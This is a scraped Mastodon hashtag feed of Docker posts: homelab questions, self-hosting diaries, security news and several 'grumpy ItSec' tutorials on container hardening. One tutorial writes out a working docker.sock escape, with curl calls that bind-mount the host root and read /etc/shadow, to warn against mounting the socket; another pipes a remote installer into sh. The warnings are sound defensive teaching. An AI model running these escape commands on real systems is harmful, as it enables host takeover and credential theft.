#Docker

niq

@niq@norden.social

I have an old laptop laying around and before investing any money into a proper #homelab setup I wanted to set it up and toss it into the cabinet with my router. Probably gonna just put #debian on it unless anybody can point out something that might work better?

For now I want to start experimenting with #homeassistant but if I find that it actually becomes useful I would also like to set it up as a NAS later on. Any stack recommendations? Thinking of #docker for now?

@homelab @homelab_de

"Musty Bits" McGee

@arichtman@eigenmagic.net

Trying to work out if it's possible to configure Containerd to set (or the equivalent of) the `--init` flag on container run so `tini` hosts PID 1 and signal handling works properly.

It looks like `--init` does some magic - I can see runc has some PID/FD parameters, but it loooks like CRI doesn't have an escape hatch for any say, arbitrary arguments - even if I did work out the magic.

https://github.com/kubernetes/cri-api/blob/15d088979b4574be15436b5b9772f934874a27ad/pkg/apis/runtime/v1/api.proto#L1133

Containerd config is even more sparse on the CRI (or at least, the man page is)
https://github.com/containerd/containerd/blob/main/docs/man/containerd-config.toml.5.md

I really don't want to have to insist that every damn Dockerfile bundles `tini` and sets `ENTRYPOINT`.

#Containers #CRI #OCI #Docker #Containerd #k8s #Kubernetes

"Musty Bits" McGee

@arichtman@eigenmagic.net

👍 👍 👍

#Podman #OCI #Buildah #Containers #Docker

https://podman.io/blogs/2018/10/31/podman-buildah-relationship

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Although Podman uses Buildah’s build functionality under the covers to create a container image, the two projects have differences. The major difference between Podman and Buildah is their concept of a container. Podman allows users to create traditional containers and the intent of these containers is to be controlled through the entirety of a container life cycle (pause, checkpoint/restore, etc). While Buildah containers are really created just to allow content to be added to the container image. Each project has a separate internal representation of a container that is not shared. Because of this you cannot see Podman containers from within Buildah or vice versa. However the internal representation of a container image is the same between Buildah and Podman. Given this, any container image that has been created, pulled or modified by one can be seen and used by the other.

Kevin Gautreau

@kgaut@oisaur.com

Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !

Je fais du développement back #php et suis expert #drupal.

Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.

#Docker pour le dev ou la prod.

Formation, atelier, accompagnement sur tous ces sujets.

Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.

https://www.linkedin.com/feed/update/urn:li:activity:7378860770412929025/

#job #freelance

Kevin Gautreau

@kgaut@oisaur.com

Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !

Je fais du développement back #php et suis expert #drupal.

Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.

#Docker pour le dev ou la prod.

Formation, atelier, accompagnement sur tous ces sujets.

Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.

https://www.linkedin.com/feed/update/urn:li:activity:7378860770412929025/

#job #freelance

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?

ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.

The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.

# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash

# Inside the container
apt update && apt install -y stress-ng
stress-ng --version

Check how many cores you see, then drive them.

# Inside the container
nproc

# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s

In another terminal, watch usage from the host.

docker stats

Now clamp CPU for the running container and see the throttle take effect.

docker update ubuntu-limits --cpus=1
docker stats

The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.

Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.

# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats

# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep

# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep

A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.

docker run -it --rm \
  --name demo \
  --cpus=1 \
  --memory=256m \
  --memory-swap=256m \
  --pids-limit=25 \
  ubuntu:22.04 bash

For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].

services:
  api:
    image: ubuntu:22.04
    command: ["sleep","infinity"]
    cpus: "1"              # 50% of one CPU equivalent
    mem_limit: "256m"      # hard RAM limit
    memswap_limit: "256m"  # RAM+swap; equal to mem_limit disables swap
    pids_limit: 50         # max processes inside the container

[1] https://docs.docker.com/engine/containers/resource_constraints/
[2] https://docs.docker.com/reference/compose-file/services/

For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
6) https://infosec.exchange/@reynardsec/115178689445065785

#appsec #devops #programming #webdev #docker #containers #cybersecurity #infosec #cloud #sysadmin #sysops #java #php #javascript #node

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Grumpy Cat

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?

ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.

# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash

# Inside the container
apt update && apt install -y stress-ng
stress-ng --version

Check how many cores you see, then drive them.

# Inside the container
nproc

# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s

In another terminal, watch usage from the host.

docker stats

Now clamp CPU for the running container and see the throttle take effect.

docker update ubuntu-limits --cpus=1
docker stats

The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.

Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.

# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats

# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep

# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep

docker run -it --rm \
  --name demo \
  --cpus=1 \
  --memory=256m \
  --memory-swap=256m \
  --pids-limit=25 \
  ubuntu:22.04 bash

For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].

services:
  api:
    image: ubuntu:22.04
    command: ["sleep","infinity"]
    cpus: "1"              # 50% of one CPU equivalent
    mem_limit: "256m"      # hard RAM limit
    memswap_limit: "256m"  # RAM+swap; equal to mem_limit disables swap
    pids_limit: 50         # max processes inside the container

[1] https://docs.docker.com/engine/containers/resource_constraints/
[2] https://docs.docker.com/reference/compose-file/services/

#appsec #devops #programming #webdev #docker #containers #cybersecurity #infosec #cloud #sysadmin #sysops #java #php #javascript #node

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Grumpy Cat

Mark Gardner

@mjg@mastodon.phoenixtrap.com

I turned a tiny #Mac mini into my own #Mastodon server—secure, low‑maintenance, and running like a dream. Here’s the full build, from #Docker to #Cloudflare Tunnel, and why #SelfHosting doesn’t have to be a headache.

#Fediverse #ActivityPub #HomeLab #DevOps #SysAdmin

https://phoenixtrap.com/2025/09/21/my-mini-mastodon-server/?utm_source=mastodon&utm_medium=jetpack_social

Mark Gardner

@mjg@mastodon.phoenixtrap.com

#Fediverse #ActivityPub #HomeLab #DevOps #SysAdmin

https://phoenixtrap.com/2025/09/21/my-mini-mastodon-server/?utm_source=mastodon&utm_medium=jetpack_social

Mark Gardner

@mjg@mastodon.phoenixtrap.com

#Fediverse #ActivityPub #HomeLab #DevOps #SysAdmin

https://phoenixtrap.com/2025/09/21/my-mini-mastodon-server/?utm_source=mastodon&utm_medium=jetpack_social

Mark Gardner

@mjg@mastodon.phoenixtrap.com

#Fediverse #ActivityPub #HomeLab #DevOps #SysAdmin

https://phoenixtrap.com/2025/09/21/my-mini-mastodon-server/?utm_source=mastodon&utm_medium=jetpack_social

pandoc

@pandoc@fosstodon.org

Docker images based on Alpine are now available with pandoc 3.8.

Ubuntu images haven't been updated yet, as pandoc-crossref no longer compiles when using the default tools on Ubuntu 24.04 (Noble Numbat). I'm still searching for an acceptable solution for this.

One possible option is to remove pandoc-crossref from the images to avoid being blocked by third-parties.

https://hub.docker.com/u/pandoc

#pandoc #docker #pandoc_crossref

ReynardSec

@reynardsec@infosec.exchange

devops0: Our audit report says we must "enable Docker rootless mode". I have no clue what that even is...
devops1: Sounds like some another security BS. What's "rootless" supposed to do?

ItSec: Relax. Rootless mode runs the Docker daemon and containers as a regular, unprivileged user [1]. It uses a user namespace, so both the daemon and your containers live in "user space", not as root. That shrinks the blast radius if the daemon or a app in container is compromised, because a breakout wouldn't hand out root on the host.

devops1: Fine. If it's "not hard" to implement, we can consider this.

ItSec: Deal.

Note: this mode does have some limitations. You can review them in docs [2].

First, let's check which user the Docker daemon is currently running as.

ps -C dockerd -o pid,user,group,cmd --no-headers

You should see something like:

9250 root     root     /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

Here's a clean, minimal path that matches the current docs. First, stop the rootful daemon.

sudo systemctl disable --now docker.service docker.socket

Then install the uid/gid mapping tools. On Ubuntu it's uidmap.

sudo apt update && sudo apt install -y uidmap

Docker provides a setup tool. If you installed official DEB/RPM packages, it's already in /usr/bin. Run it as your normal user.

dockerd-rootless-setuptool.sh install

If that command doesn't exist, install the extras package or use the official rootless script.

sudo apt-get install -y docker-ce-rootless-extras
# or, without package manager access:
curl -fsSL https://get.docker.com/rootless | sh

The tool creates a per-user systemd service, a "rootless" CLI context, and prints environment hints. You usually want your client to talk to the user-scoped socket permanently, so export DOCKER_HOST and persist it in your shell profile.

export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc

Enable auto-start for your user session and let services run even after logout ("linger").

systemctl --user enable docker
sudo loginctl enable-linger $(whoami)

Point the CLI at the new context and sanity-check.

docker context use rootless

Once more, check which privileges the Docker daemon is running with:

ps -C dockerd -o pid,user,group,cmd --no-headers

Now you will see something like:

10728 ubuntu   ubuntu   dockerd

And pssst! Podman runs containers in "rootless" mode by default [3].

[1] https://docs.docker.com/engine/security/rootless/
[2] https://docs.docker.com/engine/security/rootless/troubleshoot/
[3] https://documentation.suse.com/en-us/smart/container/html/rootless-podman/index.html#rootless-podman-sle

#appsec #devops #programming #webdev #java #javascript #python #php #docker #containers #k8s #cybersecurity #infosec #cloud #hacking #sysadmin #sysops

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grumpy cat

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 259 (slow down edition) 🐌

a blog post that discusses the sense of urgency I felt to learn #Docker (because it will become mandatory for #Ghost)... and how a recent discovery has pushed back my deadline. I can learn slowly, yay!

🔗: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-259-slow-down-edition/

#MySoCalledSudoLife #CLI

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: These k8s security SaaS prices are wild.
devops1: Image scanning, policy engines, "enterprise tiers"... why are we paying so much?

ItSec (walking by): You pay for updates & support, probably, but you can do some of this yourselves with a bit of k8s hacking.

devops0: How, exactly?

Disclaimer: this is a PoC for learning, not a production-ready solution.

Kubernetes can ask an external webhook whether a given image should be allowed via Admission Controller, in this case ImagePolicyWebhook [1]. The webhook receives an ImageReview payload [2], initiates a scan, and returns "allowed: true/false".

We will write a Flask endpoint that invokes Trivy [3] for each image and denies pod creation process if HIGH or CRITICAL vuln appear.

Below is a minimal Flask service.

from flask import Flask, request, jsonify
import subprocess, json, shlex, re

app = Flask(__name__)

def is_valid_image_format(image: str) -> bool:
    if not re.fullmatch(r"[A-Za-z0-9/_:.@+-]{1,300}", image):
        return False
    if image.startswith("-"):
        return False
    return True


def scan_with_trivy(image: str):
    cmd = [
        "trivy", "--quiet",
        "--severity", "HIGH,CRITICAL",
        "image", "--format", "json",
        image
    ]
    r = subprocess.run(cmd, capture_output=True, text=True)
    try:
        data = json.loads(r.stdout or "{}")
        results = data.get("Results", [])
        vulns = []
        for res in results:
            for v in res.get("Vulnerabilities", []) or []:
                if v.get("Severity") in ("HIGH", "CRITICAL"):
                    vulns.append(v)
        return vulns
    except json.JSONDecodeError:
        return None

@app.route("/scan", methods=["POST"])
def scan():
    body = request.get_json(force=True, silent=True) or {}
    containers = body.get("spec", {}).get("containers", [])
    if not containers:
        return jsonify({
            "apiVersion": "imagepolicy.k8s.io/v1alpha1",
            "kind": "ImageReview",
            "status": {"allowed": False, "reason": "No containers provided"}
        })

    results = []
    decision = True
    for c in containers:
        image = c.get("image", "")
        if not is_valid_image_format(image):
            results.append({"image": image, "allowed": False, "reason": "Invalid image format"})
            decision = False
            continue
        vulns = scan_with_trivy(shlex.quote(image))
        if vulns is None:
            results.append({"image": image, "allowed": False, "reason": "Scanner error"})
            decision = False
            continue
        if vulns:
            results.append({"image": image, "allowed": False, "reason": "HIGH/CRITICAL vulnerabilities detected"})
            decision = False
        else:
            results.append({"image": image, "allowed": True})

    return jsonify({
        "apiVersion": "imagepolicy.k8s.io/v1alpha1",
        "kind": "ImageReview",
        "status": {"allowed": decision, "results": results}
    })

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

Run the service wherever Trivy is available. Tip: warm up the trivy vulns db once so the first request will not timeout.

trivy image alpine:3.22 #warm up 
gunicorn -w 4 -b 0.0.0.0:5000 app:app

Test it with an ImageReview-like request. Replace the and URL and images as you wish/need.

curl -s -X POST http://127.0.0.1:5000/scan -H "Content-Type: application/json" -d '{
    "apiVersion": "imagepolicy.k8s.io/v1alpha1",
    "kind": "ImageReview",
    "spec": {
      "containers": [
        {"image": "alpine:3.22"},
        {"image": "nginx:latest"}
      ]
    }
  }' | jq .

Tell the API server to use ImagePolicyWebhook. The AdmissionConfiguration points at a kubeconfig for the webhook endpoint (/etc/kubernetes/admission-control-config.yaml).

apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: ImagePolicyWebhook
  configuration:
    imagePolicy:
      kubeConfigFile: /etc/kubernetes/webhook-kubeconfig.yaml
      allowTTL: 50
      denyTTL: 50
      retryBackoff: 500
      defaultAllow: false

The webhook kubeconfig targets your scanner's HTTP endpoint (/etc/kubernetes/webhook-kubeconfig.yaml). Edit "server" value for your case.

apiVersion: v1
kind: Config
clusters:
- name: webhook
  cluster:
    server: http://192.168.108.48:5000/scan
contexts:
- name: webhook
  context:
    cluster: webhook
    user: ""
current-context: webhook

Mount the AdmissionConfiguration and enable the plugin in the API server manifest. Add the following flags and mount the config file; adjust paths and IPs to your environment (kube-apiserver.yaml):

---
apiVersion: v1
[...]
  containers:
  - command:
    - kube-apiserver
[...]
    - --admission-control-config-file=/etc/kubernetes/admission-control-config.yaml
    - --enable-admission-plugins=NodeRestriction,ImagePolicyWebhook
[...]
    volumeMounts:
[...]
    - mountPath: /etc/kubernetes/admission-control-config.yaml
      name: admission-control-config
      readOnly: true
    - mountPath: /etc/kubernetes/webhook-kubeconfig.yaml
      name: webhook-kubeconfig
      readOnly: true
  volumes:
[...]
      path: /etc/kubernetes/admission-control-config.yaml
      type: FileOrCreate
  - name: webhook-kubeconfig
    hostPath:
      path: /etc/kubernetes/webhook-kubeconfig.yaml
      type: FileOrCreate

After the API server restarts, the cluster will begin asking app about images during pod creation. A quick check shows an allowed image and a blocked one:

kubectl run ok --image=docker.io/alpine:3.22
pod/ok created

kubectl run nope --image=docker.io/nginx:latest
Error from server (Forbidden): pods "nope" is forbidden: one or more images rejected by webhook backend

That's the whole trick. Kubernetes asks our Flask app. App calls Trivy. If HIGH or CRITICAL vulnerabilities are present, the admission decision is deny, and the pod never starts. It's not fancy and as I wrote before, it's not meant for production, but it illustrates exactly how admission can enforce image hygiene without buying an external SaaS.

[1] https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#imagepolicywebhook
[2] https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#request-payloads
[3] https://github.com/aquasecurity/trivy

#appsec #devops #kubernetes #programming #webdev #docker #containers #k8s #cybersecurity #infosec #cloud #hacking #sysadmin #sysops

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grumpy cat

Elena Rossini ⁂

@_elena@mastodon.social

Dear Fedi friends,

Happy Thursday from rainy northern Italy 🌧️

In case you missed it: I've spent the past two weeks doing all kinds of #selfhosting explorations, as I strive to learn #Docker to move my Ghost site there (it's recommended for Ghost v6 and going forward).

Yesterday I shared a blog post about the peaches (highs) and pits (lows) in #MySoCalledSudoLife adventures.

I'm hoping my mistakes can be useful for fellow newbies 😅

🔗 : https://news.elenarossini.com/my-so-called-sudo-life/my-so-called-sudo-life-month-8-peaches-pits/

#blog #VPS #newbie

Elena Rossini ⁂

@_elena@mastodon.social

Dear Fedi friends,

Happy Thursday from rainy northern Italy 🌧️

Yesterday I shared a blog post about the peaches (highs) and pits (lows) in #MySoCalledSudoLife adventures.

I'm hoping my mistakes can be useful for fellow newbies 😅

🔗 : https://news.elenarossini.com/my-so-called-sudo-life/my-so-called-sudo-life-month-8-peaches-pits/

#blog #VPS #newbie

Michael J Burgess

@beitmenotyou@social.beitmenotyou.online

Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress

Michael J Burgess

@beitmenotyou@social.beitmenotyou.online

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST "http://localhost/containers/create?name=escape" \
  -d '{
        "Image": "ubuntu:24.04",
        "Cmd": ["sleep","infinity"],
        "HostConfig": { "Binds": ["/:/host:rw"] }
      }'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
  -H 'Content-Type: application/json' \
  -X POST http://localhost/containers/escape/exec \
  -d '{
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true,
      "Cmd": ["cat","/host/etc/shadow"]
  }'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
  -H 'Content-Type: application/json' \
  -X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
  -d '{"Detach": false, "Tty": true}'

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/

Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956

#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js

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grumpy cat

Michael J Burgess

@beitmenotyou@social.beitmenotyou.online

Brandon Mitchell

@bmitch@fosstodon.org

If you've ever typoed ghcr to ghrc, particularly with a "docker login" or any automation that performs a login to the container registry, I'm seeing a strong indication that your GitHub credentials have been leaked to a malicious actor.

https://bmitch.net/blog/2025-08-22-ghrc-appears-malicious/

#docker #container #registry #OCI #security

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 249 (mind of a #newbie edition) 🧠

a blog post about what it's like for newbies to self-host... read till the end to find out what caused my OVH VPS fail (a facepalm moment for sure):

🔗: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-249-mind-of-a-newbie-edition/

I'll probably take a break from self-hosting and reading about #Docker (my Everest) for the rest of the weekend... so I can come back to it on Monday with my batteries fully recharged 😅

#MySoCalledSudoLife

Brandon Mitchell

@bmitch@fosstodon.org

https://bmitch.net/blog/2025-08-22-ghrc-appears-malicious/

#docker #container #registry #OCI #security

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

Me right now: studying the ins and outs of #Docker, ports exposure, firewalls and #TLS.

I’ve got a brand new VPS (on Hetzner) that for now only has #Fail2Ban on it.

Let’s see when I’ll feel confident (reckless?) enough to install #Docker on it 😅

This time I learned my lesson and I’m only paying month-by-month. And I’ve got many thoughts about what went down yesterday that I may share in a blog post soon.

Thanks for all your supportive messages ❤️ I hope my public fumbles are useful to fellow #selfhosting newbies 🥲

#MySoCalledSudoLife #SudoMaImparo

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An animated GIF from the Simpsons showing Homer sitting down at a desk and flipping through a book with a look of effort and concentration on his face

Elena Rossini ⁂

@_elena@mastodon.social

Dear Fedi friends,

I've been a little quiet on this account because I'd been pouring all my energy into setting up a new VPS as a testing ground to learn #Docker.

I need to become proficient in Docker ASAP in order to move my Ghost CLI site there (if I want it to federate).

The past 48 hours have been a real rollercoaster ride, as you could read on my GoToSocial account @elena.

Please beware of #OVH! They terminated my VPS without any notice: https://aseachange.com/@elena/statuses/01K35V57PPWH29969DSTC1117A 😵‍💫

#MySoCalledSudoLife

Elena Rossini ⁂

@_elena@mastodon.social

Dear Fedi friends,

I've been a little quiet on this account because I'd been pouring all my energy into setting up a new VPS as a testing ground to learn #Docker.

I need to become proficient in Docker ASAP in order to move my Ghost CLI site there (if I want it to federate).

The past 48 hours have been a real rollercoaster ride, as you could read on my GoToSocial account @elena.

Please beware of #OVH! They terminated my VPS without any notice: https://aseachange.com/@elena/statuses/01K35V57PPWH29969DSTC1117A 😵‍💫

#MySoCalledSudoLife

Sam Stepanyan :verified: 🐘

@securestep9@infosec.exchange

⚠️#Docker: If you are using Docker for Desktop you need to update it TODAY to v4.44.3. Critical CVE-2025-9074 #vulnerability in previous versions allows malicious containers to access host system:

👇
https://www.heise.de/en/news/Docker-Desktop-Critical-vulnerability-allows-host-access-10560707.html

Sam Stepanyan :verified: 🐘

@securestep9@infosec.exchange

👇
https://www.heise.de/en/news/Docker-Desktop-Critical-vulnerability-allows-host-access-10560707.html

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

Dear Fedi friends,

Oh happy day!

My #Docker woes have gone away since I realized I can use Docker exclusively via CLI (and not GUI - I thought that was the default). When I couldn’t connect Docker Desktop to my VPS yesterday I was feeling so down. But yay Docker CLI here I come.

Special thanks to everyone who offered advice yesterday, ESPECIALLY @antoine_ali 🏆

I have a feeling you’ll get a laugh out of my next blog post detailing my #selfhosting attempts - because my perception of how Docker operates was all warped.

I must have exposed to the outside my current Docker instance with yesterday’s inane tweaks to access the GUI, so I will uninstall and re-install Docker first thing today… and up the challenge by attempting to do a fresh Ghost installation on it.

I truly know nothing! But I know more than yesterday, that’s for sure. 🤗

Thank you for all your advice (and patience!) 🙏

#MySoCalledSudoLife

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

Anatomy of my day:
😊 7:30am: YAY I can start playing around with my new VPS (no.3) while my little one sleeps
🥳 9:00am: YAY I successfully installed Fail2Ban and #Docker
😳 10:00am: why can't I connect my VPS to Docker Desktop? Time to call it a day.
👭 11:00am: take my little one to the park, run into friends there, the day is looking up
🥴 1:00pm: while my little one is being looked after by my parents, I re-attempt to connect my VPS to Docker. No go. I try to install #Portainer thinking it would make the task easier, but I can't seem to upload the right certificates to connect.
😩 1:00pm - 4:00pm: tackle other tasks (inbox zero, errands), play #LEGO with my little one... with one persistent thought on my mind: why is setting up Docker so hard?!? I thought it would be easy.
🙂 now: planning to take my little one bowling for the first time. A superb way to end the day on a good note (hopefully)

🌄 tomorrow is another day. you win some, you lose some. Wishing you all a lovely afternoon/evening wherever you are

P.S.: For context, ICYMI, I wrote about why I absolutely need to learn Docker ASAP here: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

Dear Fedi friends,

Sometimes it's good to know when you need to call it a day. Today I ended my #sudo exploits at 10:00am... I'm mentally exhausted already... but happy about the progress I made.

I started tinkering with my new VPS at 7:30am and managed the following tasks:

- installed #fail2ban
- installed #Docker and checked if it was running successfully with their "hello world" method (it does)
- enabled remote access changing the listening port
- secured the connection with TLS

I wasn't able to create a new Docker context on Docker Desktop to point to my VPS... I ran into error messages about having to include certificates (with the right path)... so I decided to call it a day.

I wanted to end my Day 1 of Docker explorations on a good note.

I plan on writing about this on my blog later today so I can refer back to the steps later... when I actually install Docker on my VPS running Ghost.

Onwards and upwards (it's very apt that "sudo" in Italian means "I sweat" LOOOOL)

#MySoCalledSudoLife #selfhosting #newbie

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

🏕️ my adventures in #selfhosting: day 244 (Everest edition) ⛰️

a blog post that details some of the highs and lows I have been experiencing lately in my self-hosting adventures. I have a major challenge ahead - learning #Docker - in order to take advantage of #Ghost x #ActivityPub federation. It's my new Everest 🥲

🔗:
https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition/

#MySoCalledSudoLife

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com · Reply to Elena Rossini on GoToSocial ⁂'s post

Hello my name is Elena and I'm now the owner of 3 VPSs.

I just got a new cheap plan for 6-months to learn #Docker (on a brand new server that I can wipe if things go awry).

Fediverse what did you do to me? From 0 to 3 VPSs in 9 months.

On the bright side, this new passion is far cheaper than

Yes I sort of feel like a 🤡 right now.

😅😂

#MySoCalledSudoLife

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

nogajun🍉

@nogajun@mastodon.social

バックドア付きXZ utilsがDockerイメージに残っている話。バックドアが付いたままイメージ作って更新されなければ、そりゃ残るよなぁ #linux #docker #xzutils

Persistent Risk: XZ Utils Backdoor Still Lurking in Docker Images: https://www.binarly.io/blog/persistent-risk-xz-utils-backdoor-still-lurking-in-docker-images

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

The moment I had been waiting for… for over 10 days. Home in Italy, with a WiFi connection and a still sleeping child. #Docker learning here we go.

Wishing everyone a great Sunday morning! 🌞

#MySoCalledSudoLife

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A photo showing a computer browser on the page « Install Docker for Mac »

Matthias Klein

@matthias@me.klein.ruhr

🔧 Thinking about migrating from Mastodon to GoToSocial?

I've done it – fully documented, production tested, with real benchmarks and custom tooling.

✅ 92% less RAM
✅ 65% less storage
✅ 100% less complexity

📦 Includes slurp import, custom RSS-to-GTS bridge ("GTS-HolMirDas"), federation stats & gotchas.

👉 Read the deep dive: https://blog.klein.ruhr/gotosocial-ready-for-prime-time/

#GoToSocial #GTSHolMirDas #FediFetcher #Fediverse #Selfhosting #Homelab #Migration #Mastodon #Docker

Patrick Wu

@patrick@hatoya.cafe

One Open-source Project Daily

A vulnerability scanner for container

https://github.com/anchore/grype

#1ospd #opensource #docker #golang #security #tool #containers #oci #vulnerability #vex #vulnerabilities #containerimage #cyclonedx #openvex

Patrick Wu

@patrick@hatoya.cafe

Matthias Klein

@matthias@me.klein.ruhr

🔧 Thinking about migrating from Mastodon to GoToSocial?

I've done it – fully documented, production tested, with real benchmarks and custom tooling.

✅ 92% less RAM
✅ 65% less storage
✅ 100% less complexity

📦 Includes slurp import, custom RSS-to-GTS bridge ("GTS-HolMirDas"), federation stats & gotchas.

👉 Read the deep dive: https://blog.klein.ruhr/gotosocial-ready-for-prime-time/

#GoToSocial #GTSHolMirDas #FediFetcher #Fediverse #Selfhosting #Homelab #Migration #Mastodon #Docker

Matthias Klein

@matthias@me.klein.ruhr

🔧 Thinking about migrating from Mastodon to GoToSocial?

I've done it – fully documented, production tested, with real benchmarks and custom tooling.

✅ 92% less RAM
✅ 65% less storage
✅ 100% less complexity

📦 Includes slurp import, custom RSS-to-GTS bridge ("GTS-HolMirDas"), federation stats & gotchas.

👉 Read the deep dive: https://blog.klein.ruhr/gotosocial-ready-for-prime-time/

